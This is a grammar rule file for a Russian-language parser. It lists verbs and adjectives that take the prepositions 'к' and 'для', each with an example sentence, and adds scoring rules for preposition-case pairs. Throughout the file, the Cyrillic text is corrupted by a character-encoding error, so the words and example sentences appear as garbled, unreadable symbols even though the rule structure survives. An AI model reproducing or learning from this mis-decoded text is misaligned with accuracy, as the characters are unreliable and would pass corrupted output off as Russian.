rus_verbs:ะทะฐะณะปัะฝััั{}, // ะฏ ะทะฐะณะปัะฝัะป ะบ ะฒะฐะผ ะผะธะผะพั
ะพะดะพะผ.
rus_verbs:ะฟัะธะฝะฐะดะปะตะถะฐัั{}, // ะญัะพ ัััะตััะฒะพ ะฟัะธะฝะฐะดะปะตะถะธั ะบ ัะฐะทััะดั ัะฐััะตะฝะธะน.
rus_verbs:ะฟะพะดะณะพัะฐะฒะปะธะฒะฐัััั{}, // ะฃัะตะฝะธะบะธ ะฟะพะดะณะพัะฐะฒะปะธะฒะฐัััั ะบ ัะบะทะฐะผะตะฝะฐะผ.
rus_verbs:ัะฟััะบะฐัััั{}, // ะฃะปะธัะฐ ะบัััะพ ัะฟััะบะฐะตััั ะบ ัะตะบะต.
rus_verbs:ัะฟัััะธัััั{}, // ะั ัะฟัััะธะปะธัั ะบ ัะตะบะต.
rus_verbs:ะฟัััะธัั{}, // ะฟััะบะฐัั ะบะพ ะดะฝั
rus_verbs:ะฟัะธะณะพะฒะฐัะธะฒะฐัั{}, // ะั ะฟัะธะณะพะฒะฐัะธะฒะฐะตะผ ัะตะฑั ะบ ะฟะพะถะธะทะฝะตะฝะฝะพะผั ะฒะตัะตะปัั!
rus_verbs:ะพัะพะนัะธ{}, // ะะพะผ ะพัะพััะป ะบ ะฟะปะตะผัะฝะฝะธะบั.
rus_verbs:ะพัั
ะพะดะธัั{}, // ะะพะปั ะพัั
ะพะดะธะป ะบะพ ัะฝั.
rus_verbs:ะฟัะธั
ะพะดะธัั{}, // ะผะตััะฝัะต ะถะธัะตะปะธ ะบ ะฝะตะผั ะฟัะธั
ะพะดะธะปะธ ะปะตัะธัััั
rus_verbs:ะบะธะดะฐัััั{}, // ะฝะต ะบะธะดะฐะนัั ะบ ััะพะปั
rus_verbs:ั
ะพะดะธัั{}, // ะะฝะฐ ะฟัะพัััะดะธะปะฐัั ะธ ัะตะณะพะดะฝั ั
ะพะดะธะปะฐ ะบ ะฒัะฐัั.
rus_verbs:ะทะฐะบะพะฝัะธัััั{}, // ะกะพะฑัะฐะฝะธะต ะทะฐะบะพะฝัะธะปะพัั ะบ ะฒะตัะตัั.
rus_verbs:ะฟะพัะปะฐัั{}, // ะะฝะธ ะฒัะฑัะฐะปะธ ัะฒะพะธั
ะดะตะฟััะฐัะพะฒ ะธ ะฟะพัะปะฐะปะธ ะธั
ะบ ะทะฐะฒะตะดัััะตะผั.
rus_verbs:ะฝะฐะฟัะฐะฒะธัััั{}, // ะั ัะพัะปะธ ะฝะฐ ะฑะตัะตะณ ะธ ะฝะฐะฟัะฐะฒะธะปะธัั ะบ ะณะพัะพะดั.
rus_verbs:ะฝะฐะฟัะฐะฒะปััััั{},
rus_verbs:ัะฒะตััะธัั{}, // ะัั ัะฒะตะปะพัั ะบ ะฝัะปั.
rus_verbs:ะฟัะธัะปะฐัั{}, // ะัะธัะปะธัะต ะบะพะณะพ-ะฝะธะฑัะดั ะบ ะฝะตะน.
rus_verbs:ะฟัะธััะปะฐัั{}, // ะะฝ ะฟัะธััะปะฐะป ะบ ะดะพะปะถะฝะธะบั ัะฒะพะธั
ะณะพะปะพะฒะพัะตะทะพะฒ
rus_verbs:ะฟะพะดะปะตัะตัั{}, // ะกะฐะผะพะปัั ะฟะพะดะปะตัะตะป ะบ ะปะตัั.
rus_verbs:ะฒะพะทะฒัะฐัะฐัััั{}, // ะพะฝ ะฒะพะทะฒัะฐัะฐะตััั ะบ ััะฐัะพะน ัะฐะฑะพัะต
ะณะปะฐะณะพะป:ะฝะฐั
ะพะดะธัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะฝะฐั
ะพะดะธัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะดะตะตะฟัะธัะฐััะธะต:ะฝะฐั
ะพะดััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดะธะฒัะธะนัั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดััะธะนัั{}, // ะฏะฟะพะฝะธั ะฝะฐั
ะพะดะธััั ะบ ะฒะพััะพะบั ะพั ะะธัะฐั.
rus_verbs:ะฒะพะทะฒัะฐัะฐัั{}, // ะฒะพะทะฒัะฐัะฐัั ะบ ะถะธะทะฝะธ
rus_verbs:ัะฐัะฟะพะปะฐะณะฐัั{}, // ะัะผะพััะตัะฐ ัะฐัะฟะพะปะฐะณะฐะตั ะบ ัะฐะฑะพัะต.
rus_verbs:ะฒะพะทะฒัะฐัะธัั{}, // ะะพะปะพะบะพะปัะฝัะน ะทะฒะพะฝ ะฒะพะทะฒัะฐัะธะป ะผะตะฝั ะบ ะฟัะพัะปะพะผั.
rus_verbs:ะฟะพัััะฟะธัั{}, // ะ ะฝะฐะผ ะฟะพัััะฟะธะปะฐ ะถะฐะปะพะฑะฐ.
rus_verbs:ะฟะพัััะฟะฐัั{}, // ะ ะฝะฐะผ ะฟะพัััะฟะฐัั ะถะฐะปะพะฑั.
rus_verbs:ะฟััะณะฝััั{}, // ะะตะปะบะฐ ะฟััะณะฝัะปะฐ ะบ ะดะตัะตะฒั
rus_verbs:ัะพัะพะฟะธัััั{}, // ะฟะฐััะฐะถะธัั ัะพัะพะฟัััั ะบ ะฒัั
ะพะดั
rus_verbs:ะฟะพัะพัะพะฟะธัััั{}, // ะฟะพัะพัะพะฟะธัะตัั ะบ ะฒัั
ะพะดั
rus_verbs:ะฒะตัะฝััั{}, // ะฒะตัะฝััั ะบ ะฐะบัะธะฒะฝะพะน ะถะธะทะฝะธ
rus_verbs:ะฟัะธะฟะธัะฐัั{}, // ะฟัะธะฟะธัะฐัั ะบ ััะตะฝะบะต
rus_verbs:ะฟัะพะฒะฐะปะธะฒะฐัั{}, // ะัะพะฒะฐะปะธะฒะฐะน ะบะพ ะฒัะตะผ ัะตัััะผ!
rus_verbs:ะฒะฑะตะถะฐัั{}, // ะะพะปั ะฒะฑะตะถะฐะป ะบะพ ะผะฝะต
rus_verbs:ะฒะฑะตะณะฐัั{}, // ะะพะปั ะฒะฑะตะณะฐะป ะบะพ ะผะฝะต
ะณะปะฐะณะพะป:ะทะฐะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะะพะปั ะทะฐะฑะตะณะฐะป ะบะพ ะผะฝะต
rus_verbs:ะฟะพััััะฐัััั{}, // ะะพะปั ะฟะพััััะฐะปัั ะบะพ ะผะฝะต.
rus_verbs:ะฟะพะฒะตััะธ{}, // ะกะฟัะพัะธะป ั ะพะทะพัะฝะพะณะพ ะะฝัะพะฝะธะพ ะธ ะฟะพะฒะตะป ะตะณะพ ะบ ะดะพะผั
rus_verbs:ะฟะพะฝะตััะธ{}, // ะั ะฟะพะฝะตัะปะธ ะบะพัะฐ ะบ ะฒะตัะตัะธะฝะฐัั
rus_verbs:ะฟัะธะฝะตััะธ{}, // ะฏ ะฟัะธะฝะตั ะบะพัะฐ ะบ ะฒะตัะตัะธะฝะฐัั
rus_verbs:ััััะตะผะธัััั{}, // ะั ััััะตะผะธะปะธัั ะบ ััััั.
rus_verbs:ะฟะพะดะฒะพะดะธัั{}, // ะฃัะธัะตะปั ะฟะพะดะฒะพะดะธะป ะดะตัะตะน ะบ ะฐะบะฒะฐัะธัะผั
rus_verbs:ัะปะตะดะพะฒะฐัั{}, // ะฏ ะฟะพะปััะธะป ะฟัะธะบะฐะท ัะปะตะดะพะฒะฐัั ะบ ะผะตััั ะฝะพะฒะพะณะพ ะฝะฐะทะฝะฐัะตะฝะธั.
rus_verbs:ะฟัะธะณะปะฐัะธัั{}, // ะฏ ะฟัะธะณะปะฐัะธะป ะบ ัะตะฑะต ัะพะฒะฐัะธัะตะน.
rus_verbs:ัะพะฑะธัะฐัััั{}, // ะฏ ัะพะฑะธัะฐััั ะบ ัะตะฑะต ะฒ ะณะพััะธ.
rus_verbs:ัะพะฑัะฐัััั{}, // ะะฐัะฐ ัะพะฑัะฐะปะฐัั ะบ ะดะฐะฝัะธััั
rus_verbs:ัั
ะพะดะธัั{}, // ะฏ ัั
ะพะถั ะบ ะฒัะฐัั.
rus_verbs:ะธะดัะธ{}, // ะะฐัะฐ ัะฒะตัะตะฝะฝะพ ัะปะฐ ะบ ะะตัะต
rus_verbs:ะธะทะผะตะฝะธัััั{}, // ะัะฝะพะฒะฝัะต ะธะฝะดะตะบัั ััะฝะบะฐ ะฐะบัะธะน ะ ะค ะฟะพััะธ ะฝะต ะธะทะผะตะฝะธะปะธัั ะบ ะทะฐะบัััะธั.
rus_verbs:ะพััะณัะฐัั{}, // ะ ะพััะธะนัะบะธะน ััะฝะพะบ ะฐะบัะธะน ะพััะณัะฐะป ะฟะฐะดะตะฝะธะต ะบ ะทะฐะบัััะธั.
rus_verbs:ะทะฐะบะฐะฝัะธะฒะฐัั{}, // ะะฐะบะฐะฝัะธะฒะฐะนัะต ะบ ะพะฑะตะดั
rus_verbs:ะพะฑัะฐัะฐัััั{}, // ะะฑัะฐัะฐะนัะตัั ะบะพ ะผะฝะต ะฒ ะปัะฑะพะต ะฒัะตะผั
rus_verbs:ะพะบะพะฝัะธัั{}, //
rus_verbs:ะดะพะทะฒะพะฝะธัััั{}, // ะฏ ะฝะต ะผะพะณ ะบ ะฒะฐะผ ะดะพะทะฒะพะฝะธัััั.
ะณะปะฐะณะพะป:ะฟัะธะนัะธ{}, ะธะฝัะธะฝะธัะธะฒ:ะฟัะธะนัะธ{}, // ะะฝัะพะฝะธะพ ะฟัะธัะตะป ะบ ะญะปะตะพะฝะพั
rus_verbs:ัะนัะธ{}, // ะะฝัะพะฝะธะพ ััะตะป ะบ ะญะปะตะพะฝะพั
rus_verbs:ะฑะตะถะฐัั{}, // ะะฝัะพะฝะธะพ ะฑะตะถะธั ะบ ะญะปะตะพะฝะพั
rus_verbs:ัะฟะตัะธัั{}, // ะะฝัะพะฝะธะพ ัะฟะตัะธั ะบ ะญะปะตะพะฝะพั
rus_verbs:ัะบะฐะบะฐัั{}, // ะะฝัะพะฝะธะพ ัะบะฐัะตั ะบ ะญะปะตะพะฝะพั
rus_verbs:ะบัะฐััััั{}, // ะะฝัะพะฝะธะพ ะบัะฐะดัััั ะบ ะญะปะตะพะฝะพั
rus_verbs:ะฟะพัะบะฐะบะฐัั{}, // ะฑะตะณะปะตัั ะฟะพัะบะฐะบะฐะปะธ ะบ ั
ะพะปะผะฐะผ
rus_verbs:ะฟะตัะตะนัะธ{} // ะะฝัะพะฝะธะพ ะฟะตัะตัะตะป ะบ ะญะปะตะพะฝะพั
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะะฐั ะฟัะตะดะปะพะณ:ะบ{} *:*{ ะฟะฐะดะตะถ:ะดะฐั } }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะะฐั ะฟัะตะดะปะพะณ:ะบ{} @regex("[a-z]+[0-9]*") }
then return true
}
// ะดะปั ะพััะฐะปัะฝัั
ะฟะฐะดะตะถะตะน ะทะฐะฟัะตัะฐะตะผ.
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะบ{} *:*{} }
then return false,-5
}
#endregion ะัะตะดะปะพะณ_ะ
#region ะัะตะดะปะพะณ_ะะะฏ
// ------------------- ะก ะะ ะะะะะะะ 'ะะะฏ' ----------------------
wordentry_set ะะป_ะะะฏ_ะ ะพะด={
ัะฐััะธัะฐ:ะฝะตั{}, // ะดะปั ะผะตะฝั ะฝะตั ะดััะณะธั
ะฟััะตะน.
ัะฐััะธัะฐ:ะฝะตัั{},
rus_verbs:ะะะะะ ะะะขะฌ{}, // ะฟะพะปะธัะธั ะผะพะถะตั ะทะฐะดะตัะถะฐัั ะธั
ะดะปั ะฒัััะฝะตะฝะธั ะฒัะตั
ะพะฑััะพััะตะปัััะฒ ะธ ะดะฐะปัะฝะตะนัะตะณะพ ะพะฟะพะทะฝะฐะฝะธั. (ะะะะะ ะะะขะฌ)
rus_verbs:ะะะะะขะฌะกะฏ{}, // ััะพ ะดะตะปะฐะปะพัั ะดะปั ะปัะดะตะน (ะะะะะขะฌะกะฏ)
rus_verbs:ะพะฑะตัะฝััััั{}, // ะพะฑะตัะฝัะปะฐัั ะดะปั ะณัะตัะตัะบะพะณะพ ััะฝะบะฐ ัััะดะฐ ะฑะฐะฝะบัะพัััะฒะฐะผะธ ะฟัะตะดะฟัะธััะธะน ะธ ะผะฐัััะฐะฑะฝัะผะธ ัะพะบัะฐัะตะฝะธัะผะธ (ะพะฑะตัะฝััััั)
rus_verbs:ะะ ะะะะะะะะงะะขะฌะกะฏ{}, // ะกะบะพัะตะต ะฒัะตะณะพ ััะถะตะปัะน ะบะปะธะฝะพะบ ะฒะพะพะฑัะต ะฝะต ะฟัะตะดะฝะฐะทะฝะฐัะฐะปัั ะดะปั ะฑัะพัะบะพะฒ (ะะ ะะะะะะะะงะะขะฌะกะฏ)
rus_verbs:ะะะะฃะงะะขะฌ{}, // ัั ะผะพะถะตัั ะฟะพะปััะธัั ะตะณะพ ะดะปั ะฝะฐั? (ะะะะฃะงะะขะฌ)
rus_verbs:ะะ ะะะฃะะะขะฌ{}, // ะะฐั ะฑะพัั ัะถะต ะฟัะธะดัะผะฐะป ะดะปั ะฝะฐั ะฒะตัะตะปะตะฝัะบัั ัะผะตััั. (ะะ ะะะฃะะะขะฌ)
rus_verbs:ะพะบะฐะทะฐัััั{}, // ััะพ ะพะบะฐะทะฐะปะพัั ะดะปั ะฝะธั
ััะถะตะปะพะน ะทะฐะดะฐัะตะน
rus_verbs:ะะะะะ ะะขะฌ{}, // ัะตะฟะตัั ะพะฝะฐ ะณะพะฒะพัะธะปะฐ ะดะปั ะฝะฐั ะพะฑะพะธั
(ะะะะะ ะะขะฌ)
rus_verbs:ะะกะะะะะะะขะฌ{}, // ะพัะฒะพะฑะพะดะธัั ะตะต ะดะปั ัะตะฑั? (ะะกะะะะะะะขะฌ)
rus_verbs:ัะฐะฑะพัะฐัั{}, // ะั ัะฐะฑะพัะฐะตะผ ะดะปั ัะตั
, ะบัะพ ัะตะฝะธั ัะดะพะฑััะฒะพ
rus_verbs:ะกะขะะขะฌ{}, // ะบะตะผ ะพะฝะฐ ััะฐะฝะตั ะดะปั ะฝะตะณะพ? (ะกะขะะขะฌ)
rus_verbs:ะฏะะะขะฌะกะฏ{}, // ะฒั ะดะปั ััะพะณะพ ัะฒะธะปะธัั ััะดะฐ? (ะฏะะะขะฌะกะฏ)
rus_verbs:ะะะขะะ ะฏะขะฌ{}, // ะถะธะทะฝั ะฟะพัะตััะปะฐ ะดะปั ะผะตะฝั ะฒััะบะธะน ัะผััะป (ะะะขะะ ะฏะขะฌ)
rus_verbs:ะฃะขะ ะะขะะขะฌ{}, // ะผะพะน ะผะธั ัััะฐัะธะป ะดะปั ะผะตะฝั ะฒััะบะพะต ะฟะพะดะพะฑะธะต ัะผััะปะฐ (ะฃะขะ ะะขะะขะฌ)
rus_verbs:ะะะกะขะะขะฌ{}, // ัั ะดะพะปะถะตะฝ ะดะพััะฐัั ะตะต ะดะปั ะผะตะฝั! (ะะะกะขะะขะฌ)
rus_verbs:ะะ ะะขะฌ{}, // ะฝะตะบะพัะพััะต ะฑะตััั ะดะปั ัะตะฑั (ะะ ะะขะฌ)
rus_verbs:ะะะะขะฌ{}, // ะธะผะตั ะดะปั ะฒะฐั ะฝะพะฒะพััั (ะะะะขะฌ)
rus_verbs:ะะะะขะฌ{}, // ัะตะฑั ะถะดัั ะดะปั ัะฐะทะณะพะฒะพัะฐ (ะะะะขะฌ)
rus_verbs:ะะ ะะะะกะขะฌ{}, // ัะพะฒัะตะผ ะฟัะพะฟะฐะป ะดะปั ะผะธัะฐ (ะะ ะะะะกะขะฌ)
rus_verbs:ะะะะะฏะขะฌ{}, // ะฝะฐั ะฟะพะดะฝัะปะธ ะดะปั ะพั
ะพัั (ะะะะะฏะขะฌ)
rus_verbs:ะะกะขะะะะะะขะฌะกะฏ{}, // ะฒัะตะผั ะพััะฐะฝะพะฒะธะปะพัั ะดะปั ะฝะตะต (ะะกะขะะะะะะขะฌะกะฏ)
rus_verbs:ะะะงะะะะขะฌะกะฏ{}, // ะดะปั ะฝะตะณะพ ะฝะฐัะธะฝะฐะตััั ะฝะพะฒะฐั ะถะธะทะฝั (ะะะงะะะะขะฌะกะฏ)
rus_verbs:ะะะะงะะขะฌะกะฏ{}, // ะบะพะฝัะธะปะธัั ะดะปั ะฝะตะณะพ ััะธ ะธะณัััะบะธ (ะะะะงะะขะฌะกะฏ)
rus_verbs:ะะะกะขะะขะฌ{}, // ะดะปั ะฝะตะณะพ ะฝะฐััะฐะปะพ ะฒัะตะผั ะดะตะนััะฒะพะฒะฐัั (ะะะกะขะะขะฌ)
rus_verbs:ะกะขะ ะะะขะฌ{}, // ะดะปั ะผะพะปะพะดัั
ัััะพะธะปะธ ะฝะพะฒัะน ะดะพะผ (ะกะขะ ะะะขะฌ)
rus_verbs:ะะะฏะขะฌ{}, // ะฒะพะทัะผะธ ะดะปั ะทะฐัะธัั ััะพั ะผะตั (ะะะฏะขะฌ)
rus_verbs:ะะซะฏะกะะะขะฌ{}, // ะฟะพะฟััะฐััั ะฒัััะฝะธัั ะดะปั ะฒะฐั ะฒัั ัะตะฟะพัะบั (ะะซะฏะกะะะขะฌ)
rus_verbs:ะะ ะะะะขะะะะขะฌ{}, // ะดะฐะฒะฐะน ะฟะพะฟัะพะฑัะตะผ ะฟัะธะณะพัะพะฒะธัั ะดะปั ะฝะธั
ัััะฟัะธะท (ะะ ะะะะขะะะะขะฌ)
rus_verbs:ะะะะฅะะะะขะฌ{}, // ะฑะตัะตะณ ะผะพัั ะผะตััะฒัั
ะฟะพะดั
ะพะดะธะป ะดะปั ััะพะณะพ ะธะดะตะฐะปัะฝะพ (ะะะะฅะะะะขะฌ)
rus_verbs:ะะกะขะะขะฌะกะฏ{}, // ะฒะฝะตัะฝะธะน ะฒะธะด ััะธั
ัะฒะฐัะตะน ะพััะฐะปัั ะดะปั ะฝะฐั ะทะฐะณะฐะดะบะพะน (ะะกะขะะขะฌะกะฏ)
rus_verbs:ะะ ะะะะะขะ{}, // ะดะปั ะผะตะฝั ะฟัะธะฒะตะทะปะธ ะฟะธะฒะพ (ะะ ะะะะะขะ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฅะะ ะะะขะะ ะะซะ{}, // ะะปั ะฒัะตะน ัะตััะธัะพัะธะธ ะบัะฐั ั
ะฐัะฐะบัะตัะตะฝ ัะผะตัะตะฝะฝัะน ะบะพะฝัะธะฝะตะฝัะฐะปัะฝัะน ะบะปะธะผะฐั (ะฅะะ ะะะขะะ ะะซะ)
rus_verbs:ะะ ะะะะกะขะ{}, // ะดะปั ะผะตะฝั ะฑะตะปัั ะปะพัะฐะดั ะฟัะธะฒะตะปะธ (ะะ ะะะะกะขะ ะะะฏ)
rus_verbs:ะะะ ะะะขะฌ{}, // ะธั
ะดะตัะถะฐั ะดะปั ััะดะฐ (ะะะ ะะะขะฌ ะะะฏ)
rus_verbs:ะะ ะะะะกะขะะะะขะฌ{}, // ะฒัะตัะฝะฐะผะตั ะฟัะตะดะพััะฐะฒะธะป ะดะปั ะผะธะณัะฐะฝัะพะฒ ะผะตััะฐ ะฟัะพะถะธะฒะฐะฝะธั ะฒ ััะดะต ะฒะพะปะพะณะพะดัะบะธั
ะพะฑัะตะถะธัะธะน (ะะ ะะะะกะขะะะะขะฌ ะะะฏ)
rus_verbs:ะะ ะะะฃะะซะะะขะฌ{}, // ะฟัะธะดัะผัะฒะฐั ะดะปั ััะพะณะพ ัะฐะทะฝะพะพะฑัะฐะทะฝัะต ะฟัะธัะธะฝั (ะะ ะะะฃะะซะะะขะฌ ะะะฏ)
rus_verbs:ะพััะฐะฒะธัั{}, // ะธะปะธ ะฒะพะพะฑัะต ัะตัะธะปะธ ะพััะฐะฒะธัั ะฟะปะฐะฝะตัั ะดะปั ัะตะฑั
rus_verbs:ะพััะฐะฒะปััั{},
rus_verbs:ะะะกะกะขะะะะะะขะฌ{}, // ะบะฐะบ ัั ะผะพะถะตัั ะฒะพัััะฐะฝะพะฒะธัั ััะพ ะดะปั ะผะตะฝั? (ะะะกะกะขะะะะะะขะฌ ะะะฏ)
rus_verbs:ะขะะะฆะะะะขะฌ{}, // ะฐ ะฒั ัะฐะฝัะตะฒะฐะปะธ ะดะปั ะผะตะฝั ัะฐะฝะตั ัะตะผะธ ะฟะพะบััะฒะฐะป (ะขะะะฆะะะะขะฌ ะะะฏ)
rus_verbs:ะะะขะฌ{}, // ัะฒะพะน ะฟัะธะฝั ะดะฐะป ะผะฝะต ััะพ ะดะปั ัะตะฑั! (ะะะขะฌ ะะะฏ)
rus_verbs:ะะะกะะะะฌะะะะะขะฌะกะฏ{}, // ะผัะถัะธะฝะฐ ะธะท ะปะฐะณะตัั ัะตัะธะป ะฒะพัะฟะพะปัะทะพะฒะฐัััั ะดะปั ะฟะตัะตะดะฒะธะถะตะฝะธั ัะตะบะพะน (ะะะกะะะะฌะะะะะขะฌะกะฏ ะะะฏ)
rus_verbs:ะกะะฃะะะขะฌ{}, // ะพะฝะธ ัะปัะถะธะปะธ ะดะปั ัะฐะทะณะพะฒะพัะพะฒ (ะกะะฃะะะขะฌ ะะะฏ)
rus_verbs:ะะกะะะะฌะะะะะขะฌะกะฏ{}, // ะะปั ะฒััะธัะปะตะฝะธั ัะฐะดะธััะฐ ะฟะพัะฐะถะตะฝะธั ัะดะตัะฝัั
ะฒะทััะฒะพะฒ ะธัะฟะพะปัะทัะตััั ัะพัะผัะปะฐ (ะะกะะะะฌะะะะะขะฌะกะฏ ะะะฏ)
rus_verbs:ะะ ะะะะะฏะขะฌะกะฏ{}, // ะัะธะผะตะฝัะตััั ะดะปั ะธะทะณะพัะพะฒะปะตะฝะธั ะฐะปะบะพะณะพะปัะฝัั
ะบะพะบัะตะนะปะตะน (ะะ ะะะะะฏะขะฌะกะฏ ะะะฏ)
rus_verbs:ะกะะะะ ะจะะขะฌะกะฏ{}, // ะะปั ััะพะณะพ ัะพะฒะตััะฐะปัั ัะฟะตัะธะฐะปัะฝัะน ะผะฐะณะธัะตัะบะธะน ะพะฑััะด (ะกะะะะ ะจะะขะฌะกะฏ ะะะฏ)
rus_verbs:ะะ ะะะะะะขะฌ{}, // ะฐ ะทะดะตัั ะฟะพะฟัะพะฑัะตะผ ะฟัะธะผะตะฝะธัั ะตะต ะดะปั ะดััะณะธั
ัะตะปะตะน. (ะะ ะะะะะะขะฌ ะะะฏ)
rus_verbs:ะะะะะะขะฌ{}, // ัั ะฟะพะทะฒะฐะป ะผะตะฝั ะดะปั ะฝะฐััะพััะตะน ัะฐะฑะพัั. (ะะะะะะขะฌ ะะะฏ)
rus_verbs:ะะะงะะขะฌะกะฏ{}, // ะพัะตัะตะดะฝะพะน ะดะตะฝะตะบ ะฝะฐัะฐะปัั ะดะปั ะัะฑะบะธ ะฝะตัะดะฐัะฝะพ (ะะะงะะขะฌะกะฏ ะะะฏ)
rus_verbs:ะะะกะขะะะะขะฌ{}, // ะฒะฐั ะทะดะตัั ะดะปั ะบัะฐัะพัั ะฟะพััะฐะฒะธะปะธ? (ะะะกะขะะะะขะฌ ะะะฏ)
rus_verbs:ัะผะตัะตัั{}, // ะธะปะธ ัะผะตัะปะฐ ะดะปั ะฒััะบะธั
ััะฒััะฒ? (ัะผะตัะตัั ะดะปั)
rus_verbs:ะะซะะ ะะขะฌ{}, // ัั ัะฐะผ ะฒัะฑัะฐะป ะดะปั ัะตะฑั ััะพั ะฟััั. (ะะซะะ ะะขะฌ ะะะฏ)
rus_verbs:ะะขะะะขะะขะฌ{}, // ัะพั ะถะต ะพัะผะตัะธะป ะดะปั ัะตะฑั ะดััะณะพะต. (ะะขะะะขะะขะฌ ะะะฏ)
rus_verbs:ะฃะกะขะ ะะะขะฌ{}, // ะผั ั
ะพัะธะผ ััััะพะธัั ะดะปั ะฝะธั
ัะบะพะปั. (ะฃะกะขะ ะะะขะฌ ะะะฏ)
rus_verbs:ะะซะขะฌ{}, // ั ะผะตะฝั ะตััั ะดะปั ัะตะฑั ัะฐะฑะพัะฐ. (ะะซะขะฌ ะะะฏ)
rus_verbs:ะะซะะขะ{}, // ะดะปั ะฒัะตะณะพ ะฝะฐัะตะณะพ ะฟะพะบะพะปะตะฝะธั ัะฐะบ ะฒััะปะพ. (ะะซะะขะ ะะะฏ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะะะซะ{}, // ะธะผะตะฝะฝะพ ัะฒะพะต ะผะฝะตะฝะธะต ะดะปั ะฝะฐั ะบัะฐะนะฝะต ะฒะฐะถะฝะพ. (ะะะะะซะ ะะะฏ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะฃะะะซะ{}, // ะดะปั ะปัะฑะพะณะพ ะฟะปะตะผะตะฝะธ ะฝัะถะฝะฐ ะฟัะตะถะดะต ะฒัะตะณะพ ัะธะปะฐ. (ะะฃะะะ ะะะฏ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะ ะะะะ{}, // ััะธ ะผะตััะฐ ะฑัะปะธ ะดะพัะพะณะธ ะดะปั ะฝะธั
ะพะฑะพะธั
. (ะะะ ะะะะ ะะะฏ)
rus_verbs:ะะะกะขะฃะะะขะฌ{}, // ัะตะฟะตัั ะดะปั ะฑะพะปััะธั
ะปัะดะตะน ะฝะฐัััะฟะธะปะพ ะฒัะตะผั ะดะตะนััะฒะธะน. (ะะะกะขะฃะะะขะฌ ะะะฏ)
rus_verbs:ะะะะะขะฌ{}, // ััะฐััะน ะฟะตะฝั ะดะฐะฒะฐะป ะดะปั ััะพะณะพ ั
ะพัะพัะธะน ะพะณะพะฝั. (ะะะะะขะฌ ะะะฏ)
rus_verbs:ะะะะะขะฌะกะฏ{}, // ะดะพะฑัะพะต ััะฐัะพะต ะฒัะตะผั ะณะพะดะธััั ะปะธัั ะดะปั ะฒะพัะฟะพะผะธะฝะฐะฝะธะน. (ะะะะะขะฌะกะฏ ะะะฏ)
rus_verbs:ะขะะ ะฏะขะฌ{}, // ะฒัะตะผั ะฟัะพััะพ ัะตััะตั ะดะปั ะฒะฐั ะฒััะบะพะต ะทะฝะฐัะตะฝะธะต. (ะขะะ ะฏะขะฌ ะะะฏ)
rus_verbs:ะะะะะขะฌะกะฏ{}, // ะฝะฐััะฐะปะพ ะฒัะตะผั ะถะตะฝะธัััั ะดะปั ะฟะพะปัะทั ัะฒะพะตะณะพ ะบะปะฐะฝะฐ. (ะะะะะขะฌะกะฏ ะะะฏ)
rus_verbs:ะกะฃะฉะะกะขะะะะะขะฌ{}, // ะฒะตัั ะผะธั ะฟะตัะตััะฐะป ัััะตััะฒะพะฒะฐัั ะดะปั ะฝะธั
ะพะฑะพะธั
. (ะกะฃะฉะะกะขะะะะะขะฌ ะะะฏ)
rus_verbs:ะะะขะฌ{}, // ะถะธัั ะดะปั ัะตะฑั ะธะปะธ ะถะธัั ะดะปั ะฝะธั
. (ะะะขะฌ ะะะฏ)
rus_verbs:ะพัะบัััั{}, // ะดะฒะตัะธ ะผะพะตะณะพ ะดะพะผะฐ ะฒัะตะณะดะฐ ะพัะบัััั ะดะปั ะฒะฐั. (ะะขะะ ะซะขะซะ ะะะฏ)
rus_verbs:ะทะฐะบัััั{}, // ััะพั ะผะธั ะฑัะดะตั ะทะฐะบััั ะดะปั ะฝะธั
. (ะะะะ ะซะขะซะ ะะะฏ)
rus_verbs:ะขะ ะะะะะะขะฌะกะฏ{}, // ะดะปั ััะพะณะพ ััะตะฑัะตััั ะพะณัะพะผะฝะพะต ะบะพะปะธัะตััะฒะพ ัะฝะตัะณะธะธ. (ะขะ ะะะะะะขะฌะกะฏ ะะะฏ)
rus_verbs:ะ ะะะะ ะะะขะฌ{}, // ะะปะตะบัะตะน ัะฐะทะพัะฒะฐะป ะดะปั ััะพะณะพ ัะฒะพั ััะฑะฐั
ั. (ะ ะะะะ ะะะขะฌ ะะะฏ)
rus_verbs:ะะะะะะขะ{}, // ะฒะฟะพะปะฝะต ะฟะพะดะพะนะดะตั ะดะปั ะฝะฐัะฐะปะฐ ะฝะฐัะตะน ัะบัะฟะตะดะธัะธะธ. (ะะะะะะขะ ะะะฏ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะพะฟะฐัะฝัะน{}, // ัะธะปัะฝัะน ั
ะพะปะพะด ะพะฟะฐัะตะฝ ะดะปั ะพัะบัััะพะน ัะฐะฝั. (ะะะะกะะ ะะะฏ)
rus_verbs:ะะ ะะะขะ{}, // ะดะปั ะฒะฐั ะฟัะธัะปะพ ะพัะตะฝั ะฒะฐะถะฝะพะต ัะพะพะฑัะตะฝะธะต. (ะะ ะะะขะ ะะะฏ)
rus_verbs:ะฒัะฒะตััะธ{}, // ะผั ัะฟะตัะธะฐะปัะฝะพ ะฒัะฒะตะปะธ ััะธั
ะถะธะฒะพัะฝัั
ะดะปั ะผััะฐ.
rus_verbs:ัะฑัะฐัั{}, // ะ ะฒะฐะณะพะฝะฐั
ะผะตััะพ ะดะปั ะบะพะผัะพััะฐ ะฟะฐััะฐะถะธัะพะฒ ัะฑะตััั ัะธะดะตะฝัั (ะฃะะ ะะขะฌ ะ, ะะะฏ)
rus_verbs:ะพััะฐะฒะฐัััั{}, // ะผะตั
ะฐะฝะธะทะผ ััะพะณะพ ะฒะพะทะดะตะนััะฒะธั ะพััะฐะตััั ะดะปั ะผะตะฝั ะทะฐะณะฐะดะบะพะน. (ะพััะฐะตััั ะดะปั)
